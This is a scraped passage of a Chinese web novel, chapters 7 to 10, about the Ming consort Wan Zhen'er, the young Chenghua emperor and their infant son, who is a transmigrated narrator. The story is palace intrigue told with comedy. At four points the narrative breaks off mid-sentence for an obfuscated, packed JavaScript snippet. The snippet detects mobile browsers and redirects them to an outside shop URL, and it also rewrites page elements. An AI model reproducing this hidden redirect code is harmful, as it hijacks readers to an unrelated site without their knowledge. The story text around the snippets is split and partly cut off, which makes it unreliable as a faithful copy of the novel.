《成为万贞儿的儿子》 7. 第007章 周太后生病了,按理说该万贞儿侍疾的,毕竟太后亲自开了这个口。但万贞儿偏不,可以借口要照顾朱佑棱的万贞儿,偏偏亲自去慈安宫找周太后冷嘲热讽。 目的很明显,就是为了气周太后。 万贞儿自认自己已经退了很大一步,要不是看在周太后是朱见深亲娘的份上,万贞儿早就弄死了周太后,哪里还允许又蠢又会坑儿子的活着。 万贞儿没有直接证据,哪怕她已经通过零碎证据,推测出周太后牵扯进了朱佑棱中毒事件,也不能弄死周太后。 但万贞儿又憋屈,就干脆趁着周太后生病,妄想她侍疾的机会,主动现身,一通连消带打,让周太后更加憋屈了。 “万氏,你当真好得很。”周太后咬牙切齿,狰狞的脸庞此时哪有病容。 面色红润得很,插上喷壶,就能喷水。 “没你好。”万贞儿摆弄手指,那双涂满红色丹寇的芊芊玉手,被他翻来覆去的看。 周太后明宣宗宣德五年(公元1430年)出生,万贞儿同样是明宣宗宣德五年出生。 当初选秀,万贞儿被使了绊子落选。不过那时候万贞儿凭借聪明,当了女官,在当时的(大明战神)朱祁镇之母孙太后身边伺候。 之后周太后17岁时生下朱见深,那时候大明战神达成‘叫门天子成就’没了皇帝之位,朱祁钰登基和于谦等名臣力挽狂澜,扶大明将倾。 所谓一朝天子一朝臣,以弟身份登基的皇帝,一般都会选择清理上任皇帝的势力。 而朱见深这位给大明带来耻辱的皇帝之子,在当时的处境可想而知。 作为生母,周太后选择‘避嫌’,对朱见深的艰难处境假装看不到不知道。 孙太后当时心疼孙子,就派了身为女官的万贞儿去照顾朱见深。 说起来,万贞儿也只是比周太后小了几个月。前半生选秀时一同竞争,后半生万贞儿却成了周太后的儿媳。并且还是周太后不愿意承认,处处别苗头却又处处低一头。 这样明摆着智商差距的较量,周太后从来不觉得是自己的问题,只觉万贞儿是狐媚子转世,迷得朱见深连亲娘都疏远了。 “你啊!年轻时候该勇敢的时候,谨小慎微。该谨小慎微的时候,又跳出来坑儿子。你说说你,才是当真好得很。生了好儿子,除了这个外,就没干人事儿,结果靠着好儿子,登上太后的宝座。” “本来嘛,年轻时候我们之间发生的一些事儿,想着你已经把儿子赔给我,我就不跟你计较了。谁曾想,你这老东西,还真越活越糊涂,连我的孩儿都要害。” “你骂谁老东西呢。” 可见周太后的确是个蠢的,连重点都抓错了。是计较万贞儿嘴巴毒,骂她老东西的时候,该计较万贞儿‘冤枉’她谋害朱佑棱才对。 “当初是你自己运气不好,误食属性相克的食物,才导致浑身出疙瘩,也差点毁容。怎么怪到哀家的头上。” 周太后冷笑,又道。“当时孙太后怜悯,让你当了她身边的女官。后又让你去照顾深儿。可你倒好,照顾了深儿十几载,深儿登基为帝,你却摇身一变成了深儿的女人,你别忘了你跟哀家同一年生辰,你...万氏...你还要不要脸。” “深郎爱重我,我亦喜欢深郎。” 万贞儿对于周太后的咆哮之言,并不恼,反而还特意将自己那张彷佛开了百倍美颜滤镜的脸凑近。 “慈安宫也是有镜子的。太后娘娘啊,真该时常照照镜子,看看我,再看看你......” “既然是同年生辰,怎么太后娘娘你老得像菊花盛开,而我,依然浓艳盛放,国色牡丹。” 周太后:“......” ——啊啊啊,所以她说,她讨厌死万贞儿了。 万贞儿笑眯眯的又将那张盛世美颜脸远离周太后,免得没脑筋又酷爱折腾的周太后妒忌心起,冷不丁给她一爪子,就不好了。 “你看我们,对比如此强烈。深郎不爱我爱谁?”万贞儿说着,还用手捂住了嘴巴,继续说道。 “爱那些毛都没有长齐,还蠢得挂相的小丫头。” 周太后珉紧嘴巴一声不吭。 她该说什么呢,说第一次大选选入宫里的秀女,没一个得用。 真的没一个有用的! 真是白费她拉拢,想要调教的心思。 “太后娘娘也别失望,这批没有得用的,下批,哦,明年选秀选上的秀女,应该能挑出合太后娘娘你心思的。” 周太后这时候总算开口了,虽说脸色依然不好看。但起码说起了人话。 “你不用阴阳怪气。哀家的确不喜欢你,除了你年龄大外,还将皇帝把持在手中。皇帝广纳后宫是为了什么,为了开枝散叶。如今你既已经生下大皇子,那就该松手,让皇帝后宫的其他妃嫔喝口汤。” “喲,瞧太后娘娘这话说的,是我绑着深郎的腿儿,深郎才不愿意去其他妃嫔那儿的?” “太后娘娘与其找借口说我,还不如让那些个玩意儿从自己身上找原因。要多想想,为什么深郎愿意整日待在本宫这她们口中的老女人处,而不愿意找她们。” 周太后蠕动嘴巴,欲言又止。但其实她不用开口,万贞儿也知晓她想说什么。 “既然病了,那就好好休养。”万贞儿开口,位此次的‘探病之行’画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581670|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上圆满的句号。 “别操劳。要知道人上了年龄,又长得丑,就要服老。看看太后你,就是典型操劳过度。好好休养,争取将你这一身老皮养嫩点。” 说罢要走的时候,万贞儿仿佛才刚想到似的,又补充一句。 “哎,太后娘娘你不提醒,我都忘了我们同一年的生辰。” 周太后:“......” 万贞儿一走,险些气炸肝儿的周太后噼里啪啦,将慈安宫里的摆设,都砸了个粉碎。 朱见深这位大(带)孝子听闻后,还冲万贞儿感叹。 “母后还有力气砸东西,可见病得不严重。” 万贞儿笑着附和,好不温柔。 “是啊,母后好好休养,相信不久就会痊愈。” “咿呀—咿呀呀!” 被‘遗忘’在摇篮里的朱佑棱不甘寂寞‘闹’了起来。 万贞儿赶紧起身,将咿咿呀呀‘闹’个不停地朱佑棱抱起来。 “可是饿了?” 万贞儿想将朱佑棱递给朱见深抱,朱见深想抱却又不敢。 婴儿最为柔软,像没骨头似的,朱见深可怕不小心弄疼朱佑棱,朱佑棱给他来了个哇哇大哭。 朱见深搓了搓手,只差疯狂摆手拒绝。 “朕...朕不敢,贞姐抱着就好。" 说着才从袖中掏出个金灿灿的长命锁,"这是朕让司珍房新打的,给棱儿戴着避邪。" “深郎有心了。” 万贞儿笑着将金灿灿的长命锁收起来,却没有立马给朱佑棱带上。 朱见深并不在意,又和万贞儿说起朝堂之上的事情。 如今的朱见深不过十九,已经登基两年。是大明第八位皇帝。还是很有老朱家特色的皇帝。 而老朱家的特色是什么呢,有个性。可以衍生为奇葩。朱见深不算奇葩,但他本身很有个性。 而且特别坚持。 这点从他执意要封万贞儿为贵妃就可以看出来。 但他本身年轻,加上性格方面,并不是多强势的人。导致很多时候,都以为他好欺负。 实际上,朱见深属于表面糊涂,心里明白得很的类型。 自己亲娘是什么德行,朱见深成长过程中深受其害,难道还不清楚。 朱见深未必不清楚,万贞儿跑去‘探望’周太后的行为,有多大的水份。 但知道归知道,朱见深就是不说。哪怕说出来,也影响不了他和万贞儿的感情。 就是不说,暗地里嘿嘿嘿,估计还在佩服万贞儿的泼辣,欣喜他的万姐姐还是这个调调。当初就是靠泼辣,他的万姐姐才能护着他长大。 8. 第008章 朱见深的认知里,万贞儿无论如何,都是好的。他们俩的爱情结晶,现在连话都不会说的朱佑棱小朋友,在他的身上,完美体现了爱屋及乌。 窝在万贞儿怀中的朱佑棱哼哼唧唧,严重怀疑这对年龄差很大的帝妃二人组,又把他这个儿子给忘了。 朱佑棱‘咿咿呀呀’,努力宣示自己的存在感。 婴孩饿得快是事实。 咿咿呀呀‘闹’了大概3分钟,朱佑棱的肚子开始咕咕响。这下子是真的饿了。 自从负责奶他的乳娘身上,被嗅觉灵敏的小翠闻出‘苦杏仁味儿’,万贞儿为防万一,都不让内务府新安排来的乳娘近朱佑棱的身。 现在朱佑棱,由小红、小翠专门照顾。至于吃奶的问题,要吗喂朱佑棱煮沸放温热的羊奶,要吗现挤的人|奶。 煮沸放温热的羊奶或挤出的人奶,用小银碗装着,再用小银勺一口一口的喂。 倒不是用不起金器,而是银器本身可以用来验毒。在照顾朱佑棱的事情上,万贞儿愿意亲力亲为。 万贞儿36岁的高龄才生下朱佑棱这么一个崽,不仔仔细细的呵护,万一又被歹人抓住机会害了,那万贞儿还能有再次生育的能力? 不是说朱见深只允许她生这么一个,而是万贞儿本身年龄大了,如今生下朱佑棱,已经算是高龄产妇,老蚌生珠了。再生......即使想,也是生不出来的。 很快,温热还加了枫糖的羊奶被小翠亲自去小厨房端来。 依然是万贞儿亲自动手,用银勺子,一勺子一勺子的喂朱佑棱。 朱佑棱努力的‘啊啊啊’,嘴巴大张,鹌鹑求食, 朱见深在一旁看得有趣,兴致勃勃的接了喂食的工作,真·填鸭式往朱佑棱大张的嘴巴里‘倒’羊奶。 ......确定了,这是亲爹没错! 万贞儿黑线满溢,都不知道该说什么。 被‘填鸭式’喂食的对象是亲生的崽儿,填鸭式喂食的主儿,是她亲亲丈夫....... 万贞儿先是担忧,随后见朱佑棱这被亲爹‘填鸭式喂食’的崽儿,也没存在噎着的问题,万贞儿也就无语的放任不管。 很快,一小碗羊奶全都进了朱佑棱的肚子里。 朱佑棱满意的砸吧,在朱见深凑过来准备逗他的时候,一巴掌甩脸上。 朱见深:“......” 立马眼泪汪汪找万贞儿寻求安慰。 “贞姐,棱儿打朕。” “咿咿呀!” 闭嘴吧小亲爹! 刚谁让你填鸭式喂娃的! 当他是嗷嗷求食的鹌鹑啊! 朱佑棱哼哼,努力扭动身体,将圆润的屁股对着朱见深,懒得看朱见深‘乳燕投怀’,在万贞儿怀中死命蹭的样儿。 幼不幼稚! “棱儿还小,深郎不要和棱儿一般见识。” 万贞儿笑摸朱见深狗头。 “等棱儿大了,深郎想怎么教育棱儿,我啊都不会过问。” “贞姐辛苦了。”朱见深恋恋不舍的离开万贞儿的怀抱。“母后既然生病了,想必没法帮着贞姐管理后宫。王氏那边......” 说到王氏,朱见深肉眼可见的皱起眉头。 “朕发觉朕看走了眼,没想到她居然是那样的人。” 哪样的人? 万贞儿眼中笑意更深。“怎么能怪深郎,明明是深郎刚刚登基之后,在大臣们的逼迫下,匆匆举行的大选的秀女不太行。” “也就贞儿说的话,深得朕的心意。”朱见深肯定点头,他也觉得,他登基之时的大选,秀女的质量不行。 心爱的贞姐当不了他的皇后,朱见深干脆就矮个子里拔高个,无所谓谁当皇后。 结果选中吴氏,好嘛,居然敢欺辱他的贞姐,废了重新选。结果重新选的,没有蠢得直接挂相,但小聪明是有,还暗搓搓的学会了搞小动作。 知道万贞儿想要他知道的消息后,朱见深已经起了再次废后的心思。只是朝廷上,那些个可以为了鸡毛蒜皮小事儿吵个不停,尤爱干涉皇帝私生活的文官们是麻烦。 估计,不,是万万不会同意他再次废后的。那么...... 朱见深皱着眉头思索片刻,在万贞儿心疼的目光下,朱见深舒朗一笑。 “贞姐放心,朕没事。朕明儿定和那群妖孽大战三百回合,朕奈何不了他们,他们也别想说服朕。” 朱见深和文官们的关系,就是主打一个固执已见,轻易不被说服!反正听他们的话被说耳根子软,不听他们的话,名声又不好听。 既然不管哪样都会被说,那朱见深选择‘名声不好听’,坚决固执已见到底。 万贞儿眯眼笑了笑,“深郎做事情,我自然是放心。就算偶尔担心,也是担心‘妖孽’为难深郎。当初深郎就为了我,被逼得差点闹绝食。” “朕那时候胖,正好减肥。”朱见深越说越动情,最后忍不住拉着万贞儿的手,情真意切的说。“幸好有贞姐你在,朕才能有现在的一切。当初朕想要娶贞姐的时候,发誓所言,愿意和贞姐一起共享大明天下。朕现在才只做到了一半,但现在有了棱儿在,最终和朕合葬的只有贞姐。” 万贞儿自然愿意相信朱见深的誓言是真的,但......沧海桑田,岁月变迁,未来究竟如何,谁又能说清楚。 只有把握好现在,万贞儿不敢轻易去赌,哪怕现在‘把握时机出生的战利品’正翘着屁股试图翻身,万贞儿也不会真正意义上去赌帝王的真心。 不过面上,还是要感动万分,甚至眼泪都流了出来。 “深郎,有你在,日子不管怎样,都是甜的。做不做贵妃,皇贵妃,甚至皇后对我来说,都没有深郎你重要。” 两人立马黏糊起来,努力翻身没有成功,只是屁股翘起来的朱见深,连白眼都懒得翻。 腻腻歪歪,一天到晚腻腻歪歪,就没想过在意他这个千瓦大灯泡会不会觉得碍眼? 哦!他现在还不会说话,那没事了。 反正父母恩爱,作为他们的爱情结晶,从来都只是意外而已。 朱佑棱自娱自乐的开始咿咿呀呀,动动小手手,又动动小ji ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘...”小翠开口道。“万岁爷肯定想让娘娘登上皇后的宝座。只是那群特会耍嘴皮子的文官,只怕王氏真被废了,弹劾娘娘媚上的折子就会铺天盖地的出现。” 万贞儿点头,没有否认小翠说的。还道。“所以啊,王氏留着最好不过,只是不折腾一二,本宫心中不舒坦。” 而既然她都不舒坦了,那她还有什么好顾及的,直接挽袖子开始折腾就是了。 “王氏以为本宫不清楚,她啊,冷眼旁观就想着让本宫饱受丧子之痛,最好借机笼络好万岁爷,生个一儿半女,也好过着比冷宫好不了哪儿去的日子。” 当她万贞儿不知道呢,背地里骂她老女人骂得难听死了。 她的确喜欢有仇当场报,但有时候,料敌先机,先把仇报了再说有没有仇这回事。 她定要王氏,即使不变废后,也要过一段时间生不如死的‘好’日子。 9. 第009章 万贞儿又做了噩梦,梦中的她抱着朱佑棱呆呆的,怀中的朱佑棱早已没了呼吸。 伺候的宫娥,都不敢说话。哪怕朱见深来了,也只是流着泪,劝她放下。 放下什么? 梦中的万贞儿久久没法回神,等回过神后彻底的疯狂。 没有证据,依然执拗的认定,就是朱见深的后宫嫔妃们,害了她的孩子。 之后她做了什么呢,哦,大杀四方,将朱见深的后宫折腾得血流成河。 朱见深也由着他,无论她做了多少错事。到最后...最后发生了什么呢,万贞儿醒来后,居然记不清楚了,但那种痛失幼崽的心情,现在回想起来依然心有余悸。 甚至万贞儿第一时间还去试探了朱佑棱的鼻息,确定他还活着的时候,才算真正回过神。 朱佑棱:“?” “咿呀!” 娘亲娘亲,儿砸还活着呢! 被万贞儿慌张行为‘吵醒’的朱佑棱,根本就没有小脾气产生。相反,要是会说话,得说一连串的话来安慰万贞儿。 母子连心就是这样。 明明万贞儿的行为很反常,但朱佑棱就是知晓万贞儿为什么会这样的缘由。 哎!崽崽虽说曾经命悬一线,但崽崽现在健康了呀!放心,娘亲,崽崽一定能茁壮成长,不给妖孽任何谋害崽崽的机会。 朱佑棱咿咿呀呀‘闹’得慌,那稚嫩的声音,让万贞儿高兴的流了眼泪。 不行! 从王氏开始,到已经进了东厂大牢的柏氏,就没有一个让她舒坦的。 再加上又做了噩梦,万贞儿一肚子的邪火,得想法儿祛祛火。 万贞儿干脆将清醒,没有继续呼呼大睡的朱佑棱抱着,又让小红小翠将朱佑棱的摇篮放进她所住的房间。 “本宫要随时看到棱儿,不然本宫心不安稳。” 万贞儿又让丫鬟给她梳洗打扮,这才一边逗弄怀中的朱佑棱,一边和小红小翠俩丫鬟解释。 “奴婢倒觉得娘娘之所以会做噩梦,除了日有所思夜有所梦外,还有昨儿万岁爷忙碌政务,歇在乾清宫的缘故。” 小翠胆子大,连万贞儿都敢调笑。当然万贞儿对此,也不会生气就是了。 万贞儿对手下人一贯不错,只要忠心,那么绝对不吝啬打赏。 “万岁爷政务要紧。”万贞儿笑着说。“本宫又不是十多岁的小姑娘,还离不了万岁爷?” 小红奉承,也是实话实说。“从来都是万岁爷离不了娘娘,而不是娘娘离不了万岁爷。” 小翠在旁连连点头,附和说:“小红姐姐说得没错,娘娘和万岁爷的情谊,哪是凡人能够了解的。娘娘仔细看看大皇子殿下,大皇子殿下也在点头呢。” 被万贞儿搂在怀中的朱佑棱,两只小手手举得高高的,嘴巴还吐着泡泡。 ——没错,小红和小翠,说得真对。 ——他亲爱的小亲爹,就是个离不了万姐姐,重度万姐姐控的奇葩。 ——连他这个千辛万苦才得来的长子,哪怕是朱见深心爱的万姐姐生的,只要万贞儿在场,休想多夺走半分注意力。 ——最多爱屋及乌,明确向文武百官表示,乃朕第一子,铁板钉钉的太子殿下。 万贞儿低头看着朱佑棱,朱佑棱抿起小嘴,冲万贞儿笑得分外灿烂。 “棱儿真乖。” “咿呀!” “娘娘......”汪直突然来到,在殿门口请安。 万贞儿让汪直进殿说话。 “回禀娘娘,好让娘娘知晓,当初的事儿,有了结果。”汪直开口,将柏氏以及金红所言,都一五一十的交代。 至于是否是屈打成招,那就不好说了。 不管是东厂,还是锦衣卫,审讯犯人,都很有手段。 “和太后无关?”万贞儿挑眉。“难道知情不报,也算无关?” 汪直垂目,回答说。“太后娘娘没有亲自动手。” “本宫知晓,她那个人一惯有贼心没贼胆。不过运气方面,历来不错。” 和周太后同一批被封为才人的秀女,当初都侍寝了。有的还因好相貌被招寝了好几回,只有周太后,侍寝一回就怀上,抢先一步生下朱祁镇的长子朱见深。 之后大明战神朱祁镇,胎神属性发作,将自己作没了皇帝。朱见深这位朱祁镇长子,备受磋磨,反而周太后的日子过得还不错。 再之后,朱祁镇居然还复位又继续当皇帝,朱见深太子,周太后也就母凭子贵,到最后登上了太后的宝座。 手段几乎等于无,纵观周太后的一生,唯有幸运二字可以完全解说。 汪直所言,周太后没有亲自动手,没有掺和谋害皇嗣一事,万贞儿信。但就如万贞儿先前所问,知情不报,算无关? 再怎么说,朱佑棱也是她的长孙,不喜欢她连同不喜欢她生的崽儿,她接受...... 但万贞儿万万不能接受,周太后这位做祖母的,明明知晓却选择冷眼旁观的看着旁人谋害皇嗣。 哪怕朱佑棱机灵,幸运躲过一劫,万贞儿还是恨。万一那染了毒的乳娘成功给朱佑棱喂了奶,那她岂不是像噩梦里一般,已经失去了这个儿子。 万贞儿眼神一厉,继而语气还算温和的说。“太后娘娘就这样吧,反正啊,她也不适合帮本宫管理后宫。” 没提王氏,那是万贞儿心中清楚,这回王氏即便不被废,也会栽很大的跟头。 至于太后,被废了身边人的周太后,就跟拔了牙的老虎没什么区别。而且周太后这老虎,还是猫咪伪装的。 “按照原计划行事。”万贞儿又道,便仿佛有什么顾忌似的,让汪直赶紧去办事儿。 汪直依言退了。 等汪直一走,万贞儿低头,和瞪圆眼睛的住佑棱对上了视线。 “你喲,赶紧像是能听懂似的。” 朱佑棱立马又开始咿咿呀呀起来。 ——对啊,美人娘亲,棱儿听得懂。 可惜万贞儿不懂婴儿语,只是笑得越发温柔。 还记得刚来有意识的时候,朱佑棱看谁都像打了马赛克,雾蒙蒙一片。 而看到万贞儿时,完全不一样,就如同千倍滤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581672|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 镜,将周围不美好的一切都过滤了,只留下万贞儿那张盛世美颜。 朱佑棱可喜欢万贞儿了,可不是因为朱佑棱确定自己身份,发现自己正处于成化年间风暴眼的事实中,选择调整战略抱大腿。 开什么玩笑呢。 万贞儿可是亲娘,他不依靠亲娘,依靠谁? 小亲爹? 小亲爹朱见深柔弱得很,尚且需要万贞儿保护,依靠朱见深,到最后还是得依靠万珍儿,随性一开始就认准谁才是靠山。 而且说实话,万贞儿对他这个儿子,的确是倾注了全部的心血和近乎偏执的爱。 几乎将朱佑棱时刻带在身边,就连吩咐宫人做事,和亲信商谈‘恶毒报复手段’都没有避讳朱佑棱。 之后临近中午,万贞儿还推着摇车,带着宫人,浩浩荡荡的去了乾清宫,陪朱见深用膳。 朱见深在批阅奏折。 实际上他已经批阅烦了。 不知道是不是朱元璋开局一个碗打下天下的伟大成就,导致后续的大明皇帝一个赛一个的奇葩。 朱见深还算其中并不怎么奇葩的帝王,但他有老朱家人的通病,不喜欢批阅奏章。 一个个文官,不止会写文章,就连写奏章,也是之乎者也,东拉西扯一大堆。 作为没什么文化,也就粗粗认识几个大字的朱见深来说,这太为难他了。 想发火吧,又怕暴露自己比文盲好不了哪儿去的文化素养 。 就磨磨蹭蹭,不情不愿的批阅奏章。 万贞儿带着他们的爱情结晶朱佑棱来的时候,朱见深直接眼泪汪汪。 “贞姐。”朱见深委屈巴巴的说。“他们都欺负朕。” 万贞儿顿时将朱佑棱‘抛’到一旁,开始安慰朱见深。可惜今儿朱见深实在想作得慌,以往惯常的哄人技巧,今儿居然不管用了。 朱见深现在就是爱作的娇夫,撒娇耍赖让万贞儿帮忙批阅奏章。 万贞儿自然愿意,但是吧,不能忙不迭的答应,而是勉为其难,表现出自己都是为了朱见深考虑,才不得不同意的。 于是乎,躺在摇车中的朱佑棱,再一次将屁股墩子对准抢他拨浪鼓,手儿真欠的朱见深。 ——QAQ,缺母爱你找你亲妈去啊,抢我亲娘怎么回事! 朱佑棱鄙视朱见深,又没有对付手段,干脆自己躲着生闷气。然鹅朱见深他...手欠儿,真的手欠。 见朱佑棱不理他,居然绕了一圈摇车,然后一把掀开搭在朱佑棱小肚肚上的毛毯,伸手弹了弹那小小的...雀儿。 朱佑棱:“......” 下一刻,呆愣住的朱佑棱小嘴一瘪,爆发出婴儿最强武器——震天响的哭嚎。 “呜哇!!!” 美人亲娘快来啊,有变态啊! 万贞儿:“......” “深郎。”万贞儿哭笑不得,赶紧放下朱笔,抱起朱佑棱开始哄。“棱儿还小,你怎么能这样欺负。” 朱见深讪讪然,不自在的摸摸鼻子。“朕没有想到,棱儿他...哭得真有活力。” 10. 第010章 严格来讲,其实朱佑棱算早产儿,万贞儿怀着他,不到九月就生了。 除了万贞儿年龄大,是高龄产妇外,还有本身的身体素质。万贞儿早年带着朱见深,吃了很多的苦,她的身体并不是很好,连带着朱佑棱生出后,都带了点先天体弱。 但神奇的是,朱佑棱病好之后,身体素质提升了不少。这点汪太医并没有检查出来,不过是朱佑棱自己隐隐感觉到了。 穿越者多多少少会带点金手指,朱佑棱自然是有的,比如说皇帝爹,贵妃娘,又是长子,只要成功活着,根本不需要朱佑棱努力,就能顺利继承皇位。 有嫡立嫡,无嫡立长,大明很多皇帝,就是这样上位的。不可能轮到让朱佑棱就改了祖宗规矩吧。 身体越发康健的朱佑棱,对小亲爹嫌弃极了。既然说他有活力,很生气被弹了小雀雀的朱佑棱干脆扯开嗓子嚎。 是真嚎,不掉眼泪的那种干嚎。 而且一嚎就是好几炷香过去,根本就没有停止的意思。 万贞儿又生气又心疼还好笑,忍不住埋怨朱见深。“深郎,棱儿才几月大,以后可不能这样欺负棱儿了。” “朕没欺负他。” 朱见深小心辩驳,可不敢大声,又让惹得朱佑棱哇哇大哭。好不容易哄住,惹哭了又要手忙脚乱的哄。 “朕只是看着...小得可爱。” 朱见深还用手比了比,就像在比划长短一样,惹得万贞儿都忍不住翻白眼。 “棱儿,皇上你的儿子,朱佑棱,几个月大。”万贞儿强调道。“皇上你已经十九了。” “贞姐,你叫朕‘皇上’。” 朱见深委屈巴巴,开始冲万贞儿撒娇。 正准备扯嗓子又来上那么一段的朱佑棱:“......” 得了,一点都不意外呢,自己的小亲爹居然是这幅德性。 朱佑棱哼唧,瘪着小嘴巴在万贞儿怀中拱了拱。 “棱儿这是饿了。” 万贞儿确定的说,还道。“深郎,我先带棱儿回去喂奶,之后再来陪深郎。” 朱见深拒绝了这个提议,倒不是他不想万贞儿陪着,而是朱见深决定将要批阅的奏章,全部带去安喜宫,这样既能有万贞儿的陪伴,又有万贞儿帮忙批阅奏章。干嘛非要待在冷冷清清,没有万贞儿在的乾清宫批阅奏章呢! 朱见深越想越觉得自己想的主意十分的棒,当即兴冲冲,比万贞儿还要迫不及待的回安喜宫。 这回朱佑棱吃奶,是小翠喂的。万贞儿要陪朱见深,没办法,小亲爹太黏美人亲娘,这个时候的他,即便努力表现也不可能做显眼包。有朱见深在的地方,朱见深才是最大的显眼包。 吃完奶,朱佑棱又被放进了摇车里。帝妃二人一起用膳的时候,朱佑棱还在摇车里睡着,但是......摇车放在帝妃二人跟前。 朱佑棱:“......” 就问这样的行为过不过分! 故意馋他呢! 朱佑棱珉紧嘴巴,眼睛一闭,开始自己哄自己睡觉。也算哄的速度快,不一会儿功夫,朱佑棱就把自己哄睡着了。 而这一觉,大概睡了一个半时辰,醒来之后,朱佑棱发现自己躺在寝宫暖塌内侧,外面睡着他的小亲爹。 万贞儿还在批阅奏章。 文官写奏章都有一个毛病,喜欢用大量的词藻堆砌写一些小事儿,真正该上报的大事,却寥寥写了几句。 要是不认真的看,多半会忽略。可看了之后,就忍不住心生恼意。 ——这些个文官越来不知所谓了! 万贞儿批阅完最后一本奏章,直接将朱笔摔了。这怒气勃然的样子,伺候的宫娥可不敢随便开腔,最后还是朱佑棱的咿咿呀呀,‘解救’了他们。 现在阳光正好,透过雕花窗棂洒满内室。 万贞儿亲自将朱佑棱抱着,放在了大殿放着的软塌上,而万贞儿则选择斜倚着,手中拿了一柄玉如意,轻轻逗弄着趴在她身前,努力昂着小脑袋的朱佑棱。 “棱儿,看这儿,看娘亲手里是什么?” 万贞儿这时候的声音,温柔极了,根本就没有在人前的威仪。他轻轻晃动着玉如意末端坠着的流苏,吸引朱佑棱的注意力。 朱佑棱怀疑万贞儿将自己当成猫咪在逗,但十分给面子,那双黑溜溜的眼睛紧紧盯着那晃动的流苏。 “咿呀咿呀!” 朱佑棱的小脑袋,开始随着左右转动,嘴里发出“咿咿呀呀”的声音,一只小胖手还努力地往前伸,试图抓住那近在眼前却又总是差一点点的流苏。 这副认真的小模样,极大地取悦了万贞儿。 万贞儿轻笑出声,眼角眉梢都染上了愉悦的细纹。 到底年龄大了,但此时的万贞儿,不但不显老态,反而更添风韵。 她故意将玉如意拿近一些,在朱佑棱快要碰到时,又调皮地挪开一点点。 “哎呀,棱儿快要抓到了呢!再加把劲!”她像个顽皮的少女,乐此不疲的逗弄着。 朱佑棱:“......” 美人娘亲,这样逗崽儿,好玩吗? 朱佑棱“咿咿呀呀”闹个不停,手更是不停地挥舞。 是在抗议,更是在陪万贞儿玩耍。 是的! 朱佑棱认为美人娘亲太幼稚了,作为儿子的他,要无限包容美人娘亲偶尔起的少女心。 “棱儿真努力。”不合时宜的声音响起,那是朱见深,他小歇醒了。只听朱见深说。“四肢并用,像只努力划水的小乌龟。” 朱佑棱:“......” 万贞儿:“...噗!” “咿呀,哼!” 愤怒的朱佑棱,更加努力挥动小胖手,企图隔空打朱见深,没曾想,反倒让他的小胖手碰到了冰凉的玉器和柔软的流苏。 朱佑棱立刻紧紧攥住,然后得意地抬起头,冲着万贞儿和朱见深露出了一个分外嘚瑟的笑容,结果下一刻,嘴巴张得太大,口水居然顺着嘴角流了下来。 朱佑棱:“...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581673|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哎呦,抓住了呀。娘亲的棱儿真厉害。”万贞儿惊喜地叫出声,连忙放下玉如意。 “快,帕子。” 万贞儿刚开口,朱见深就递出手帕,万贞儿接过,动作极其轻柔地替他擦拭口水,眼神里的疼爱几乎要溢出来。 “娘亲的棱儿,是天底下最聪明的孩子!” 朱见深不甘寂寞的凑过来,“棱儿不愧是朕之第一子,” “贞姐。”朱见深又道。“朕觉得,是时候确立棱儿的太子之位了。” 万贞儿惊讶,也‘顾不上’陪朱佑棱玩耍,连忙开口问。“怎么那么突然,不是说好等棱儿周岁宴的时候,确立棱儿的太子之位嘛。” 朱见深轻声道。“主要朕觉得这段时间出的事故太多,最开始母后病了,接着没几天棱儿又感染风寒,病得奄奄一息。好不容易好了后,又有乳娘‘带毒’的事。这几日朕左思右想,又问了亲近之人,得出朕一天没有确立棱儿的太子之位,那些宵小之辈就一天就盯着。” “一日做贼千日防贼,朕还是太年轻,没把握日日夜夜都将贞儿还有棱儿护得好好的。” 万贞儿深受震动,没有料到朱见深会这样说,还选择要这样做。 是啊,可以一日做贼,可千日防贼又岂是那么简单的。就像她,朱佑棱没有生病之前,自信满满,觉得自己一定能将自己生的凤凰蛋儿护得好好的。 结果一朝生病,直接撕毁了她的骄傲。现在的万贞儿,可不敢再那么信心满满,觉得自己一定能好好的护着朱佑棱长大。 “深郎说得极是。”万贞儿感动万分的说。“既然决定了,那就隔日不如撞日,就今儿宣布吧。” 这话其实挺不客气的,但朱见深并不觉得,还觉得万贞儿说得对。就该隔日不然撞日。 朱佑棱:“......” 有些呆萌的眨眨眼睛,显然还没有回过神。 